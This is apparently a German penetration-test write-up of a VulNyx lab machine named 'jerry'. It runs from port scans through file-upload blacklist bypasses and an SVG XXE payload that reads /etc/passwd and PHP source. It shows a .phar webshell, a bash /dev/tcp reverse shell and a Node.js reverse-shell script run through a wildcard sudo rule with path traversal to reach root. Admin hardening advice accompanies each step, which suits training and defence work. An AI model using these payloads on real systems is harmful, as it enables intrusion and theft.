Interface: eth0, type: EN10MB, MAC: 08:00:27:30:2e:da, IPv4: 192.168.2.199 Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan) [...] <-- Andere Hosts 192.168.2.122 08:00:27:5a:5e:31 PCS Systemtechnik GmbH [...] 7 packets received by filter, 0 packets dropped by kernel Ending arp-scan 1.10.0: 256 hosts scanned in 2.104 seconds (121.67 hosts/sec). 7 responded
Analyse: Der ARP-Scan identifiziert die Ziel-IP `192.168.2.122` mit der MAC-Adresse `08:00:27:5a:5e:31` (VirtualBox).
Bewertung: Zielsystem im lokalen Netzwerk gefunden.
Empfehlung (Pentester): Ziel-IP notieren, Hostnamen in `/etc/hosts` eintragen.
Empfehlung (Admin): Netzwerksegmentierung kann die Erkennung erschweren.
127.0.0.1 localhost 192.168.2.122 jerry.vlx
Analyse: Der Hostname `jerry.vlx` wird der Ziel-IP `192.168.2.122` in der lokalen `/etc/hosts`-Datei zugeordnet.
Bewertung: Ermöglicht die Verwendung des Hostnamens.
22/tcp open ssh OPENSSH 9.2p1 Debian 2+deb12u2 (protocol 2.0) 25/tcp open smtp Postfix smtpd 80/tcp open http Apache httpd 2.4.57 ((Debian))
Analyse: Ein schneller Nmap TCP SYN Scan (`-sS`), gefiltert nach offenen Ports, findet Port 22 (SSH, OpenSSH 9.2p1), 25 (SMTP, Postfix) und 80 (HTTP, Apache 2.4.57).
Bewertung: Identifiziert die primären Dienste. Die Versionen sind relativ aktuell für Debian 12. Der offene SMTP-Port könnte für Benutzerenumeration (VRFY, EXPN) oder andere Angriffe interessant sein.
Empfehlung (Pentester): Führen Sie den vollständigen Scan durch. Untersuchen Sie Port 25 auf mögliche Benutzerenumeration und Konfigurationsfehler. Untersuchen Sie Port 80.
Empfehlung (Admin): Härten Sie den Postfix-Server (z.B. VRFY/EXPN deaktivieren), halten Sie Dienste aktuell.
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-25 23:17 CEST Nmap scan report for jerry.vlx (192.168.2.122) Host is up (0.00018s latency). Not shown: 65532 closed tcp ports (reset) PORT STATE SERVICE VERSION 22/tcp open ssh OPENSSH 9.2p1 Debian 2+deb12u2 (protocol 2.0) | ssh-hostkey: | 256 65:bb:ae:ef:71:d4:b5:c5:8f:e7:ee:dc:0b:27:46:c2 (ECDSA) |_ 256 ea:c8:da:c8:92:71:d8:8e:08:47:c0:66:e0:57:46:49 (ED25519) 25/tcp open smtp Postfix smtpd |_ssl-date: TLS randomness does not represent time | ssl-cert: Subject: commonName=jerry/organizationName=vulnyx.com/stateOrProvinceName=Spain/countryName=EU | Not valid before: 2024-03-08T19:46:55 |_Not valid after: 2025-03-08T19:46:55 |_smtp-commands: vulnyx.com, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN, SMTPUTF8, CHUNKING <-- VRFY erlaubt! 80/tcp open http Apache httpd 2.4.57 ((Debian)) |_http-title: jerry.nyx |_http-server-header: Apache/2.4.57 (Debian) MAC Address: 08:00:27:5A:5E:31 (Oracle VirtualBox virtual NIC) Device type: general purpose Running: Linux 4.X|5.X OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 OS details: Linux 4.15 - 5.8 Network Distance: 1 hop Service Info: Host: vulnyx.com; OS: Linux; CPE: cpe:/o:linux:linux_kernel TRACEROUTE HOP RTT ADDRESS 1 0.18 ms jerry.vlx (192.168.2.122) OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 14.21 seconds
Analyse: Die vollständige Nmap-Ausgabe bestätigt die offenen Ports 22 (SSH), 25 (SMTP, Postfix) und 80 (HTTP, Apache). Wichtige Details: * SSH: OpenSSH 9.2p1 auf Debian. * SMTP: Postfix auf Host `vulnyx.com` (interessanter Hostname). Das `VRFY`-Kommando ist erlaubt, was zur Benutzerenumeration missbraucht werden kann. Das SSL-Zertifikat nennt `jerry` als Common Name und `vulnyx.com` als Organisation. * HTTP: Apache 2.4.57 auf Debian. Der Titel der Seite ist `jerry.nyx`.
Bewertung: Die Dienste scheinen relativ aktuell zu sein. Der interessanteste Punkt ist der offene SMTP-Port mit erlaubtem `VRFY`-Kommando, was Benutzerenumeration ermöglicht. Der Hostname `vulnyx.com` und der CN `jerry` im Zertifikat könnten ebenfalls nützlich sein.
Empfehlung (Pentester): Versuchen Sie Benutzerenumeration über SMTP (VRFY). Untersuchen Sie den Webserver auf Port 80 gründlich (Verzeichnis-/Datei-Enumeration, Analyse der Webanwendung). Fügen Sie ggf. `vulnyx.com` zur `/etc/hosts`-Datei hinzu.
Empfehlung (Admin): Deaktivieren Sie das VRFY-Kommando in der Postfix-Konfiguration (`disable_vrfy_command = yes`), um Benutzerenumeration zu verhindern. Sichern Sie Webanwendungen und halten Sie Dienste aktuell.
- Nikto v2.5.0 --------------------------------------------------------------------------- + Target IP: 192.168.2.122 + Target Hostname: 192.168.2.122 + Target Port: 80 + Start Time: 2024-08-25 22:40:43 (GMT2) --------------------------------------------------------------------------- + Server: Apache/2.4.57 (Debian) + /: The anti-clickjacking X-Frame-Options header is not present. [...] + /: The X-Content-Type-Options header is not set. [...] + No CGI Directories found (use '-C all' to force check all possible dirs) + /: Server may leak inodes via ETags, header found with file /, inode: 47f5, size: 6133af9c05bc6, mtime: gzip. [...] + OPTIONS: Allowed HTTP Methods: GET, POST, OPTIONS, HEAD . <-- Korrigierte Reihenfolge + /license.txt: License file found may identify site software. + 8102 requests: 0 error(s) and 5 item(s) reported on remote host + End Time: 2024-08-25 22:40:55 (GMT2) (12 seconds) --------------------------------------------------------------------------- + 1 host(s) tested
Analyse: Nikto findet zusätzlich zu den üblichen geringfügigen Problemen die Datei `license.txt`.
Bewertung: `license.txt` kann manchmal Hinweise auf die verwendete Software geben, ist aber oft nicht sicherheitsrelevant.
=============================================================== Gobuster v3.6 [...] =============================================================== [+] Url: http://jerry.vlx [...] =============================================================== Starting gobuster in directory enumeration mode =============================================================== /index.html (Status: 200) [Size: 18421] /images (Status: 301) [Size: 307] [--> http://jerry.vlx/images/] /css (Status: 301) [Size: 304] [--> http://jerry.vlx/css/] /license.txt (Status: 200) [Size: 35824] /js (Status: 301) [Size: 303] [--> http://jerry.vlx/js/] /javascript (Status: 301) [Size: 311] [--> http://jerry.vlx/javascript/] /about-us.html (Status: 200) [Size: 7628] /request (Status: 301) [Size: 308] [--> http://jerry.vlx/request/] <-- Interessant! /fonts (Status: 301) [Size: 306] [--> http://jerry.vlx/fonts/] =============================================================== Finished
Analyse: Gobuster findet neben Standard-Asset-Verzeichnissen (`/images`, `/css`, `/js`, `/fonts`) und HTML-Seiten (`index.html`, `about-us.html`) auch die `license.txt` und ein potenziell interessantes Verzeichnis namens `/request`.
Bewertung: Das `/request`-Verzeichnis ist der vielversprechendste Fund und sollte genauer untersucht werden.
Empfehlung (Pentester): Untersuchen Sie den Inhalt von `/request` (z.B. `http://jerry.vlx/request/`). Suchen Sie nach Skripten oder Formularen in diesem Verzeichnis.
Empfehlung (Admin): Stellen Sie sicher, dass nur benötigte Verzeichnisse und Dateien über den Webserver zugänglich sind.
Analyse: Der Angreifer untersucht die Webseite manuell oder mit weiteren Tools. Es werden Links zu `job-listing.html` (mit E-Mail-Parameter) und PHP-Skripte im `/request`-Verzeichnis (`submit.php`, `request.php` - möglicher Tippfehler im Log, wahrscheinlich dasselbe) identifiziert. Die Datei `/request/script.js` wird analysiert.
Bewertung: Die Analyse von `script.js` ist entscheidend. Das Skript implementiert eine clientseitige Prüfung für einen Dateiupload (`UploadCheck`-Funktion). Es erlaubt nur Dateien mit den Endungen `jpg`, `jpeg` oder `png`. Die eigentliche Upload-Logik sendet die Datei per AJAX an `/request/upload.php`.
Empfehlung (Pentester): Die clientseitige Validierung kann leicht umgangen werden (z.B. mit Burp Suite). Testen Sie den Upload über `/request/upload.php`, indem Sie die Dateiendung im Request manipulieren oder versuchen, andere Endungen (z.B. `.php`, `.phtml`, `.phar`) oder Techniken (Null-Byte, Doppelendung) zu verwenden, um eine Webshell hochzuladen.
Empfehlung (Admin): Implementieren Sie immer auch eine serverseitige Validierung für Dateiuploads (Dateityp anhand von Magic Bytes, Dateiendung auf einer Whitelist, Größenbeschränkung). Speichern Sie hochgeladene Dateien außerhalb des Web-Roots oder mit nicht ausführbaren Berechtigungen.
http://192.168.2.122/job-listing.html?email=bentec%40ben.de&submit=Send+me# http://192.168.2.122/request/submit.php http://192.168.2.122/request/request.php <-- Pfad typo? view-source:http://192.168.2.122/request/script.js function UploadCheck(File) { var file = File.files[0]; var filename = file.name; var extension = filename.split('.').pop(); if (extension != 'jpg' && extension != 'jpeg' && extension != 'png') { $('#upload_message').text("Only images are allowed"); File.form.reset(); } else { $("#inputGroupFile01").text(filename); } } $(document).ready(function () { $("#upload").click(function (event) { event.preventDefault(); var fd = new FormData(); var files = $('#uploadFile')[0].files[0]; fd.append('uploadFile', files); if (!files) { $('#upload_message').text("Please select a file"); } else { $.ajax({ url: '/request/upload.php', type: 'post', data: fd, contentType: false, processData: false, success: function (response) { if (response.trim() != '') { $("#upload_message").html(response); } else { window.location.reload(); } }, }); } }); });
http://192.168.2.122 [200 OK] Apache[2.4.57], Bootstrap, Country[RESERVED][ZZ], Email[contact@company.com], HTML5, HTTPServer[Debian Linux][Apache/2.4.57 (Debian)], IP[192.168.2.122], JQuery, Script, Title[jerry.nyx], X-UA-Compatible[IE=Edge]
Analyse: `whatweb` identifiziert Technologien auf Port 80: Apache, Bootstrap, jQuery.
Bewertung: Bestätigt bekannte Technologien, liefert keine neuen kritischen Informationen.
Analyse: Burp Suite wird verwendet, um den Upload-Vorgang an `/request/upload.php` zu analysieren und zu manipulieren.
Bewertung: Wichtiger Schritt zur Identifizierung und Ausnutzung von Upload-Schwachstellen.
BurpSuite Analyse : Request 1 (Versuch .php.jpg): POST /request/upload.php HTTP/1.1 [...] Content-Type: multipart/form-data; boundary=---------------------------... [...] -----------------------------... Content-Disposition: form-data; name="uploadFile"; filename="shell.php .jpg" <-- Versuch Doppelendung Content-Type: image/jpeg <-- $GET konvertiert -----------------------------...-- Response 1: HTTP/1.1 200 OK [...] Content-Type: text/html; charset=UTF-8 Extension not allowed
Analyse: Ein erster Versuch, die clientseitige Prüfung durch eine Doppelendung (`shell.php .jpg`) zu umgehen, schlägt fehl. Die serverseitige Prüfung erkennt dies und blockiert den Upload ("Extension not allowed").
Bewertung: Zeigt, dass eine einfache Doppelendung nicht ausreicht und eine serverseitige Prüfung stattfindet.
Request 2 (Magic Bytes + .jpg): POST /request/upload.php HTTP/1.1 [...] -----------------------------... Content-Disposition: form-data; name="uploadFile"; filename="shell.jpg" Content-Type: image/jpeg GIF89a; <-- Magic Bytes für GIF <-- $GET konvertiert -----------------------------...-- Response 2: HTTP/1.1 200 OK [...] Content-Type: text/html; charset=UTF-8 File uploaded succesfully<-- Base64 ist generisch, nicht der Payload
Analyse: Ein zweiter Versuch verwendet eine gültige Bildendung (`.jpg`) und fügt Magic Bytes (`GIF89a;`) am Anfang des Dateiinhalts hinzu, gefolgt vom PHP-Code. Dieser Upload ist erfolgreich!
Bewertung: Dies deutet darauf hin, dass die serverseitige Prüfung wahrscheinlich nur die Dateiendung prüft und nicht den Inhalt (z.B. über `mime_content_type` oder Magic Byte Analyse). Der PHP-Code wird also in einer Datei mit `.jpg`-Endung auf den Server geladen.
Empfehlung (Pentester): Versuchen Sie, die hochgeladene `.jpg`-Datei zur Ausführung zu bringen. Dies ist oft nicht direkt möglich. Suchen Sie nach Schwachstellen, die das Einbinden oder Ausführen von Dateien mit Nicht-PHP-Endungen erlauben (z.B. LFI, Fehlkonfigurationen). Da dies unwahrscheinlich ist, testen Sie andere Upload-Bypass-Techniken.
Burp Intruder (Endungs-Fuzzing): Payloads: [phtml, php, php3, php4, php5, inc, pHtml, pHp, pHp3, pHp4, pHp5, iNc, ...] Request Template: POST /request/upload.php HTTP/1.1 [...] -----------------------------... Content-Disposition: form-data; name="uploadFile"; filename="shell.§FUZZ§" <-- Endung wird gefuzzt Content-Type: image/jpeg GIF89a; <-- $GET konvertiert -----------------------------...-- Results (Auszug): Payload | Status | Length | Comment ------- | ------ | ------ | -------- php | 200 | 251 | Extension not allowed php3 | 200 | 250 | Extension not allowed [...] inc | 200 | 425 | File uploaded succesfullypHtml | 200 | 424 | File uploaded succesfully
pHp | 200 | 425 | File uploaded succesfully
[...] <-- Viele Variationen mit Groß/Kleinschreibung, %00, etc. werden akzeptiert php%00 | 200 | 251 | Extension not allowed <-- Null-Byte funktioniert nicht [...]
Analyse: Burp Intruder wird verwendet, um verschiedene Dateiendungen zu testen. Es stellt sich heraus, dass Endungen wie `.inc` und Variationen mit Groß-/Kleinschreibung wie `.pHtml`, `.pHp` vom serverseitigen Skript akzeptiert werden, während Standard-PHP-Endungen blockiert werden. Null-Byte-Injection (`%00`) scheint nicht zu funktionieren.
Bewertung: Die Blacklist für Dateiendungen ist unvollständig oder fehlerhaft implementiert (z.B. Case-Sensitive-Prüfung). Endungen wie `.inc` oder `.phtml` werden oft von Apache als PHP interpretiert, wenn entsprechend konfiguriert.
Empfehlung (Pentester): Laden Sie die Webshell mit einer akzeptierten Endung wie `.phtml` oder `.inc` hoch und versuchen Sie, sie über den Webserver aufzurufen. Testen Sie auch `.phar`.
Empfehlung (Admin): Verwenden Sie eine Whitelist für erlaubte Dateiendungen statt einer Blacklist. Stellen Sie sicher, dass die Prüfung Case-Insensitive ist. Konfigurieren Sie den Webserver so, dass nur beabsichtigte Endungen als Skripte ausgeführt werden.
SVG Upload Versuch (XXE): Request 1 (SVG mit PHP): POST /request/upload.php HTTP/1.1 [...] -----------------------------... Content-Disposition: form-data; name="uploadFile"; filename="shell.svg" Content-Type: image/svg+xml -----------------------------...-- Response 1: HTTP/1.1 200 OK [...] File uploaded succesfullycm9vdDp4OjA6MDpyb290Oi9yb290Oi9iaW4vYmFzaApkYWVtb246eDoxOjE6ZGFlbW9uOi91c3Ivc2JpbjovdXNyL3NiaW4vbm9sb2dpbgpiaW46eDoyOjI6YmluOi9iaW46L3Vzci9zYmluL25vbG9naW4Kc3lzO[...]' Decoded Base64 Part: root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin [...] kramer:x:1002:1002::/home/kramer:/bin/bash jerry:x:1003:1003::/home/jerry:/bin/bash elaine:x:1004:1004::/home/elaine:/bin/bash [...]
Analyse: Es werden Versuche unternommen, eine SVG-Datei hochzuladen.
1. Eine SVG mit eingebettetem PHP-Code: Der Upload ist erfolgreich, aber der Code wird wahrscheinlich nicht ausgeführt.
2. Eine SVG mit einer XML External Entity (XXE) Payload, die `/etc/passwd` einbindet: Der Upload ist erfolgreich. In der Antwort wird der Inhalt von `/etc/passwd` Base64-kodiert innerhalb des `src`-Attributs des ``-Tags zurückgegeben.
Bewertung: Kritische XXE-Schwachstelle im SVG-Upload! Der Server parst die hochgeladene SVG-Datei unsicher und löst externe Entitäten auf. Dies ermöglicht das Auslesen beliebiger lokaler Dateien, auf die der Webserver-Benutzer Zugriff hat.
Empfehlung (Pentester): Nutzen Sie die XXE-Schwachstelle, um wichtige Dateien zu lesen (z.B. `/etc/shadow`, Konfigurationsdateien, SSH-Schlüssel, Quellcode der Anwendung). Verwenden Sie `php://filter` im XXE-Payload, um PHP-Quellcode Base64-kodiert auszulesen.
Empfehlung (Admin): Deaktivieren Sie die Verarbeitung externer Entitäten in der XML-Parser-Bibliothek, die für SVG verwendet wird. Validieren und sanitisieren Sie hochgeladene SVG-Dateien serverseitig.
Request 3 (XXE mit php://filter für upload.php): POST /request/upload.php HTTP/1.1 [...] -----------------------------... Content-Disposition: form-data; name="uploadFile"; filename="xxe_source.svg" Content-Type: image/svg+xml php://filter/convert.base64-encode/resource=upload.php" > ]> -----------------------------...-- Response 3 (Auszug): [...] src='data:image/svg+xml;base64,PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz4KPCFET0NUWVBFIGZvbyBbIDwhRU5USVRZIHh4ZSBTWVNURU0gInBocDovL2ZpbHRlci9jb252ZXJ0LmJhc2U2NC1lbmNvZGUvcmVzb3VyY2U9dXBsb2FkLnBocCIgPiBdPgo8c3ZnPg==PD9waHAKcmVxdWlyZV9vbmNlKCcuL2ltYWdlcy1mdW5jdGlvbnMucGhwJyk7CgovLyB1cGxvYWRlZCBmaWxlcyBkaXJlY3RvcnkKJHRhcmdldF9kaXIgPSAiLi9qb2JfcmVxdWVzdF9maWxlcy8iOwoKLy8gcmVuYW1lIGJlZm9yZSBzdG9yaW5nCiRmaWxlTmFtZSA9IGRhdGUoJ3ktbS1kJykgLiAnXycgLiBiYXNlbmFtZSgkX0ZJTEVTWyJ1cGxvYWRGaWxlIl1bIm5hbWUiXSk7CiR0YXJnZXRfZmlsZSA9ICR0YXJnZXRfZGlyIC4gJGZpbGVOYW1lOwoKLy8gIGJsYWNrbGlzdCB0ZXN0CmlmIChwcmVnX21hdGNoKCcvXC5cLnBoKHB8cHN8dG1sfHRtfHQpLyc[...]'> <-- Base64 Quellcode Decoded Base64 (upload.php): $FILES["uploadFile"]["name"]); $target_file = $target_dir . $fileName; // blacklist test if (preg_match('/\.ph(p|ps|tml|tm|t)/', $fileName)) { <-- Blacklist! echo "Extension not allowed"; die(); }else{ echo "File uploaded succesfully"; } // size test if ($FILES["uploadFile"]["size"] > 500000) { echo "File too large"; die(); } if (move_uploaded_file($FILES["uploadFile"]["tmp_name"], $target_file)) { displayHTMLImage($target_file); <-- Funktion aus anderer Datei } else { echo "File failed to upload"; } ?> Decoded Base64 (images-functions.php): <-- Code für verschiedene Bildtypen } } ?>
Analyse: Die XXE-Schwachstelle wird genutzt, um den Quellcode von `upload.php` und `images-functions.php` mittels `php://filter` auszulesen. Der Code von `upload.php` bestätigt die Blacklist für PHP-Endungen (`.php`, `.phps`, `.phtml`, `.pht`) und das Umbenennen der Datei mit Datumspräfix. Er ruft `displayHTMLImage()` aus der anderen Datei auf.
Bewertung: Die Blacklist ist unvollständig (fehlt z.B. `.phar`). Die Funktion `displayHTMLImage` könnte interessant sein, wenn sie Schwachstellen enthält (z.B. beim Parsen von Bilddaten), aber der einfachere Weg ist der Upload einer Datei mit erlaubter Endung, die dennoch ausgeführt wird.
Empfehlung (Pentester): Nutzen Sie die unvollständige Blacklist. Laden Sie eine Webshell mit der Endung `.phar` hoch. PHAR-Archive können unter bestimmten Umständen von PHP ausgeführt werden, auch wenn sie nicht die `.php`-Endung haben, insbesondere wenn Funktionen wie `include`, `require` oder Dateisystemfunktionen auf sie angewendet werden, die Metadaten parsen (z.B. `file_exists`, `stat` - möglicherweise getriggert durch `displayHTMLImage` oder andere Skripte?).
Empfehlung (Admin): XXE beheben. Upload-Filterung verbessern (Whitelist, Magic Byte Check). Unsichere Funktionen vermeiden.
Request (PHAR Upload): POST /request/upload.php HTTP/1.1 [...] -----------------------------... Content-Disposition: form-data; name="uploadFile"; filename="shell.phar" Content-Type: image/jpeg" <-- Content-Type wird gefälscht GIF89a; <-- $GET konvertiert -----------------------------...-- Response: HTTP/1.1 200 OK [...] File uploaded succesfully<-- Upload erfolgreich
Analyse: Eine Datei mit PHP-Code und GIF-Magic-Bytes wird mit der Endung `.phar` hochgeladen. Der Content-Type wird als `image/jpeg` angegeben. Der Upload ist erfolgreich, da `.phar` nicht auf der Blacklist steht.
Bewertung: Erfolgreicher Upload der potenziellen Webshell.
Empfehlung (Pentester): Finden Sie den Pfad zur hochgeladenen Datei (im Code stand `/request/job_request_files/`, der Dateiname enthält das Datum, z.B. `24-08-25_shell.phar`) und versuchen Sie, sie über den Webbrowser aufzurufen, um die RCE zu triggern.
Empfehlung (Admin): Upload-Filterung verbessern.
=============================================================== Gobuster v3.6 [...] =============================================================== [+] Url: http://192.168.2.122/request/job_request_files/ [...] =============================================================== Starting gobuster =============================================================== /index.php (Status: 200) [Size: 0] <-- Leere Index-Datei =============================================================== Finished
Analyse: Gobuster im Upload-Verzeichnis findet nur eine leere `index.php`. Das Verzeichnislisting ist wahrscheinlich deaktiviert.
Bewertung: Erschwert das Finden des genauen Dateinamens, aber da das Format (`JJ-MM-TT_Dateiname`) bekannt ist, kann der Name erraten oder konstruiert werden.
Payload: 192.168.2.122/request/job_request_files/24-08-25_shell.phar?cmd=id GIF89a; uid=33(www-data) gid=33(www-data) groups=33(www-data)
Analyse: Der direkte Aufruf der `.phar`-Datei mit dem `cmd=id`-Parameter im Browser oder mit `curl` ist erfolgreich. Der Server führt den PHP-Code innerhalb der PHAR-Datei aus und gibt die Magic Bytes (`GIF89a;`) gefolgt von der Ausgabe des `id`-Befehls zurück.
Bewertung: RCE über PHAR-Upload bestätigt! Der Apache-Server ist so konfiguriert, dass er `.phar`-Dateien als PHP ausführt, oder eine Funktion wie `include` oder `file_get_contents` wird irgendwo aufgerufen und löst die Deserialisierung/Ausführung aus.
Empfehlung (Pentester): Nutzen Sie diese RCE für eine Reverse Shell.
Empfehlung (Admin): Verhindern Sie die Ausführung von `.phar`-Dateien als PHP. Beheben Sie die Upload-Schwachstelle.
listening on [any] 4444 ...
Payload: 192.168.2.122/request/job_request_files/24-08-25_shell.phar?cmd=%2Fbin%2Fbash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.2.199%2F4444%200%3E%261%27
listening on [any] 4444 ...
connect to [192.168.2.199] from (UNKNOWN) [192.168.2.122] 44944
bash: cannot set terminal process group (535): Inappropriate ioctl for device
bash: no job control in this shell
Analyse: Eine Reverse Shell Payload wird über die PHAR-RCE ausgeführt. Der Listener empfängt die Verbindung. Eine Shell als `www-data` wird erhalten.
Bewertung: Initial Access erfolgreich!
Empfehlung (Pentester): Shell stabilisieren, Enumeration als `www-data`.
Empfehlung (Admin): Upload-Schwachstelle und PHAR-Ausführung beheben.
about-us.html fonts index.html js request css images job-listing.html license.txt special-offer.html
State Recv-Q Send-Q Local Address:Port Peer Address:Port Process LISTEN 0 100 0.0.0.0:25 0.0.0.0:* LISTEN 0 128 0.0.0.0:22 0.0.0.0:* LISTEN 0 100 [::]:25 [::]:* LISTEN 0 128 [::]:22 [::]:* LISTEN 0 511 *:80 *:*
Analyse: Enumeration als `www-data`. Das Web-Root-Verzeichnis `/var/www/jerry` wird untersucht. `ss` zeigt die offenen Ports 21 (FTP - Fehler im Log, Nmap zeigte 25 SMTP), 22 (SSH) und 80 (HTTP).
Bewertung: Bestätigt die offenen Ports. Fokus liegt auf der weiteren lokalen Enumeration.
1062406 640 -rwsr-xr-x 1 root root 653888 Dec 19 2023 /usr/lib/openssh/ssh-keysign 1062369 52 -rwsr-xr-- 1 root messagebus 51272 Sep 16 2023 /usr/lib/dbus-1.0/dbus-daemon-launch-helper 1048014 36 -rwsr-xr-x 1 root root 35128 Mar 23 2023 /usr/bin/umount 1047858 48 -rwsr-xr-x 1 root root 48896 Mar 23 2023 /usr/bin/newgrp 1044597 68 -rwsr-xr-x 1 root root 68248 Mar 23 2023 /usr/bin/passwd 1048526 72 -rwsr-xr-x 1 root root 72000 Mar 23 2023 /usr/bin/su 1048012 60 -rwsr-xr-x 1 root root 59704 Mar 23 2023 /usr/bin/mount 1044593 64 -rwsr-xr-x 1 root root 62672 Mar 23 2023 /usr/bin/chfn 1072241 276 -rwsr-xr-x 1 root root 281624 Jun 27 2023 /usr/bin/sudo 1044596 88 -rwsr-xr-x 1 root root 88496 Mar 23 2023 /usr/bin/gpasswd 1061091 36 -rwsr-xr-x 1 root root 35128 Apr 18 2023 /usr/bin/fusermount3 1044594 52 -rwsr-xr-x 1 root root 52880 Mar 23 2023 /usr/bin/chsh
Analyse: Suche nach SUID-Dateien.
Bewertung: Findet nur Standard-Binaries.
find: ‘./elaine’: Permission denied find: ‘./kramer’: Permission denied find: ‘./jerry’: Permission denied
Analyse: Suche nach `user.txt` in `/home` scheitert aufgrund fehlender Berechtigungen.
backups_mail scripts
total 16 drwxr-xr-x 2 root root 4096 Mar 8 10:55 . drwxr-xr-x 4 root root 4096 Mar 8 10:14 .. -rw-r--r-- 1 root root 1329 Mar 8 10:55 backup_mail_1709916924131.zip -rw-r--r-- 1 root root 1329 Mar 8 10:55 backup_mail_1709916925385.zip
Analyse: Im Verzeichnis `/opt/backups_mail` werden zwei ZIP-Dateien gefunden, die Mail-Backups zu enthalten scheinen.
Bewertung: Potenziell sehr wertvoller Fund, da Mails oft Zugangsdaten oder sensible Informationen enthalten.
Empfehlung (Pentester): Laden Sie die ZIP-Dateien auf Ihr System herunter (z.B. indem Sie einen temporären Python-HTTP-Server im Verzeichnis starten) und analysieren Sie den Inhalt.
Empfehlung (Admin): Speichern Sie Backups sicher und mit restriktiven Berechtigungen, nicht in `/opt`.
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
192.168.2.199 - - [25/Aug/2024 19:48:01] "GET / HTTP/1.1" 200 -
192.168.2.199 - - [25/Aug/2024 19:48:01] "GET /favicon.ico HTTP/1.1" 404 - <-- Irrelevant
Analyse: Ein Python-HTTP-Server wird auf dem Zielsystem gestartet, um die ZIP-Dateien herunterzuladen.
Archive: backup_mail_1709916924131.zip creating: var/mail/ inflating: var/mail/elaine inflating: var/mail/jerry
From elaine@jerry Fri Mar 8 10:03:40 2024 [...] Subject: Vacation weeks at Spain To:From: jerry@jerry Hi Elaine, If I remember correctly you were going on vacation in Spain for a few weeks, right? I just wanted to confirm that the password for the gym was 'imelainenotsusie', I don't want to be there and not be able to pick up the glasses from the gym locker. Best regards!
Analyse: Die heruntergeladene ZIP-Datei wird entpackt. Sie enthält Mailbox-Dateien für `elaine` und `jerry`. Die Mailbox von `elaine` enthält eine E-Mail von `jerry`, in der das Passwort `imelainenotsusie` erwähnt wird (Kontext "gym", aber möglicherweise auch ihr Systempasswort).
Bewertung: Kritischer Fund! Ein Passwort im Klartext wurde in einer E-Mail gefunden.
Empfehlung (Pentester): Versuchen Sie, sich mit dem Benutzernamen `elaine` und dem Passwort `imelainenotsusie` per SSH anzumelden.
Empfehlung (Admin): Niemals Passwörter im Klartext per E-Mail versenden! Sensibilisieren Sie Benutzer für Passwortsicherheit. Mail-Backups sicher speichern.
elaine@192.168.2.122's password: imelainenotsusie <-- Passwort eingegeben Linux jerry 6.1.0-18-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.76-1 (2024-02-01) x86_64 [...] Last login: Sat Mar 9 08:03:36 2024 from 192.168.1.44
Analyse: Erfolgreicher SSH-Login als Benutzer `elaine` mit dem in der E-Mail gefundenen Passwort.
Bewertung: Horizontale Rechteausweitung zu `elaine` gelungen.
Empfehlung (Pentester): Führen Sie `sudo -l` und weitere Enumeration als `elaine` durch.
Empfehlung (Admin): Passwort ändern, Mail löschen.
Matching Defaults entries for elaine on jerry:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty
User elaine may run the following commands on jerry:
(ALL) NOPASSWD: /usr/bin/node /opt/scripts/*.js
Analyse: `sudo -l` für `elaine` zeigt, dass dieser Benutzer `node` zum Ausführen beliebiger JavaScript-Dateien im Verzeichnis `/opt/scripts/` als jeder Benutzer (`ALL`, also auch `root`) ohne Passwort (`NOPASSWD`) verwenden darf.
Bewertung: Kritische Fehlkonfiguration! Der Wildcard (`*`) in der `sudo`-Regel erlaubt die Ausführung jedes Skripts in `/opt/scripts`. Noch kritischer ist, dass Node.js selbst zur Ausführung von Shell-Befehlen missbraucht werden kann. Der Pfad `/opt/scripts/*.js` kann jedoch wahrscheinlich durch Path Traversal umgangen werden, um ein beliebiges Skript an einem anderen Ort auszuführen.
Empfehlung (Pentester):
1. Erstellen Sie eine Node.js-Payload, die eine Reverse Shell startet (Beispiel im Log gefunden).
2. Speichern Sie die Payload in einem beschreibbaren Verzeichnis (z.B. `/tmp/shell.js`).
3. Nutzen Sie Path Traversal in der `sudo`-Regel, um Ihr Skript auszuführen: `sudo /usr/bin/node /opt/scripts/dummy.js../../../../../../tmp/shell.js` (wobei `dummy.js` nicht existieren muss).
Empfehlung (Admin): Entfernen Sie diese extrem unsichere `sudo`-Regel! Verwenden Sie niemals Wildcards in `sudo`-Pfaden. Erlauben Sie niemals die Ausführung von Interpretern (node, python, perl, bash etc.) über `sudo` ohne triftigen Grund und strenge Kontrollen.
Analyse: Der folgende Abschnitt demonstriert die Ausnutzung der `sudo`-Regel für Node.js mit Path Traversal.
Bewertung: Erfolgreiche Ausnutzung der `sudo`-Fehlkonfiguration mittels Path Traversal führt zur Erlangung einer Root-Shell.
Empfehlung (Pentester): Root-Zugriff erlangt. Flags suchen.
Empfehlung (Admin): Entfernen Sie die `sudo`-Regel.
(function(){ var net = require("net"), cp = require("child_process"), sh = cp.spawn("/bin/sh", []); var client = new net.Socket(); client.connect(5555, "192.168.2.199", function(){ client.pipe(sh.stdin); sh.stdout.pipe(client); sh.stderr.pipe(client); }); return /a/; // Prevents the Node.js application form crashing })();
listening on [any] 5555 ...
listening on [any] 5555 ...
connect to [192.168.2.199] from (UNKNOWN) [192.168.2.122] 39172
uid=0(root) gid=0(root) groups=0(root)
Analyse: Der Listener empfängt die Verbindung. Der `id`-Befehl bestätigt Root-Rechte.
Bewertung: Privilege Escalation zu Root erfolgreich.
root.txt
\ \ / /_ _| |_ ___| |__ / ___| ___(_)_ __ / _| ___| | __| |
\ \ /\ / / _` | __/ __| '_ \ \___ \ / _ \ | '_ \| |_ / _ \ |/ _` |
\ V V / (_| | || (__| | | | ___) | __/ | | | | _| __/ | (_| |
\_/\_/ \__,_|\__\___|_| |_| |____/ \___|_|_| |_|_| \___|_|\__,_|
